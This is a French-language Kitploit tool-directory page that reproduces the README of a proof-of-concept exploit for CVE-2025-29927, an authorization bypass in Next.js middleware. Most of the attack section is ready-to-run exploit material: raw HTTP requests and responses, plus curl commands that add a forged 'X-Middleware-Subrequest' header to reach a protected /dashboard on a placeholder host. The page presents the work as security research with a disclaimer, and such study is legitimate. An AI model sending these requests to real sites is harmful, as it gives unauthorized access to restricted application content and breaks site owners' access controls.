Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2025-29927-poc — Contournement d'autorisation dans le middleware Next.js | Kitploit
Outils/GitHubGitHub/dedibagus/cve-2025-29927-poc
Authentification et AutorisationAnalyse des VulnérabilitésExploitation d'Applications WebSécurité WebTests d'IntrusionApprentissage et Éducation
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Contournement d'autorisation dans le middleware Next.js

Voir le dépôt
33il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2025-29927-POC

Introduction

Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-29927, une vulnérabilité hypothétique illustrant un défaut dans la gestion du middleware au sein d'une application web. La PoC montre comment une requête HTTP spécialement conçue peut contourner la logique de redirection pour accéder à du contenu restreint, comme un tableau de bord. Ce projet est destiné à des fins éducatives et de recherche en sécurité uniquement.

Avertissement : Cette PoC est destinée à être utilisée dans des environnements contrôlés avec autorisation explicite. Tester sans autorisation sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de consentement est illégal et contraire à l'éthique.


Table des matières

  • Prérequis
  • Aperçu de la vulnérabilité
  • Étapes de la preuve de concept
    • Étape 1 : Requête initiale (échec)
    • Étape 2 : Requête modifiée (réussite)
  • Comment reproduire
  • Références
  • Contribuer
  • Licence

Prérequis

Pour suivre cette PoC, vous aurez besoin de :

  • Un serveur cible (par ex., abc.com) exécutant une configuration vulnérable (logiciel/version spécifique à déterminer selon les détails du CVE).
  • Un outil client HTTP comme curl (curl.se), Burp Suite (portswigger.net/burp) ou un script personnalisé.
  • Des connaissances de base sur les protocoles et en-têtes HTTP (voir Documentation HTTP MDN).

Aperçu de la vulnérabilité

CVE-2025-29927 (provisoire ; à remplacer par les détails officiels du CVE lorsqu'ils seront disponibles) semble exploiter une mauvaise configuration ou un défaut logique du middleware. La PoC montre que l'ajout d'un en-tête personnalisé (X-Middleware-Subrequest) modifie le comportement du serveur, contournant un mécanisme de redirection pour accéder à du contenu restreint. Cela pourrait être lié à la manière dont le middleware (par ex., Nginx avec Next.js) traite les sous-requêtes ou valide les en-têtes.

Pour en savoir plus sur les vulnérabilités du middleware, consultez Sécurité middleware OWASP.


Étapes de la preuve de concept

La PoC comprend deux étapes : une requête initiale infructueuse et une requête modifiée réussie. Chaque étape inclut la requête HTTP, la réponse et une explication détaillée.

Étape 1 : Requête initiale (échec)

Cette étape montre le comportement par défaut du serveur lors de l'accès au point de terminaison /dashboard sans en-têtes supplémentaires.

Requête HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Réponse HTTP

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

Explication

  • Détails de la requête :
    • GET /dashboard : Tente d'accéder au point de terminaison du tableau de bord.
    • Les en-têtes standard comme User-Agent et Accept imitent une requête de navigateur classique.
  • Détails de la réponse :
    • 307 Temporary Redirect : Indique que le serveur redirige le client, probablement en raison d'une logique d'authentification, d'autorisation ou de routage (par ex., redirection vers une page de connexion).
    • Server: nginx/1.14.1 : Identifie le logiciel serveur web.
  • Analyse : La redirection suggère un mécanisme de protection empêchant l'accès direct à /dashboard. L'absence d'en-tête Location dans cette réponse (peut-être omise par souci de concision) implique que la destination de la redirection se trouve ailleurs.
  • Référence : En savoir plus sur les codes d'état HTTP sur MDN Statuts HTTP.

Étape 2 : Requête modifiée (réussite)

Cette étape introduit un en-tête personnalisé pour contourner la redirection et récupérer avec succès le contenu du tableau de bord.

Requête HTTP

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

Réponse HTTP

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

Explication

  • Détails de la requête :
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware : En-tête personnalisé ajouté à la requête originale. La chaîne répétée middleware pourrait exploiter un défaut d'analyse ou de validation dans la pile middleware.
    • Les autres en-têtes restent inchangés par rapport à l'étape 1.
  • Détails de la réponse :
    • 200 OK : Confirme l'accès réussi au contenu du tableau de bord.
    • Content-Type: text/html; charset=utf-8 : Indique une réponse HTML, probablement la page du tableau de bord.
    • X-Powered-By: Next.js : Suggère que l'application utilise Next.js, un framework React qui repose souvent sur le middleware pour le routage.
    • Cache-Control : Empêche la mise en cache, typique pour du contenu dynamique et spécifique à l'utilisateur.
    • Content-Length: 30174 : Taille du corps de la réponse en octets.
  • Analyse : L'en-tête X-Middleware-Subrequest trompe probablement le middleware en lui faisant traiter la requête comme une sous-requête légitime, contournant ainsi la logique de redirection. Cela pourrait indiquer une vulnérabilité dans la validation ou le traitement des sous-requêtes.
  • : Explorez le middleware Next.js sur .

Comment reproduire

Suivez ces étapes pour reproduire la PoC avec curl :

Étape 1 : Envoyer la requête initiale

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Sortie attendue : Une réponse 307 Temporary Redirect.

Étape 2 : Envoyer la requête modifiée

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

Sortie attendue : Une réponse 200 OK avec le contenu du tableau de bord.

Remarque : Remplacez abc.com par le domaine cible réel si vous testez dans un environnement autorisé.


Références

  • Détails CVE - Base de données officielle CVE (mettez à jour avec le lien CVE spécifique lorsqu'il sera disponible).
  • Documentation HTTP MDN - Bases du protocole HTTP.
  • Middleware Next.js - Informations sur le comportement du middleware Next.js.
  • Sécurité middleware OWASP - Aperçu des vulnérabilités du middleware.
  • Manuel curl - Guide d'utilisation de curl pour les requêtes HTTP.

Licence

Ce projet est sous licence MIT. Voir le fichier LICENSE pour plus de détails.

Télécharger l’outil
Référence
Documentation Next.js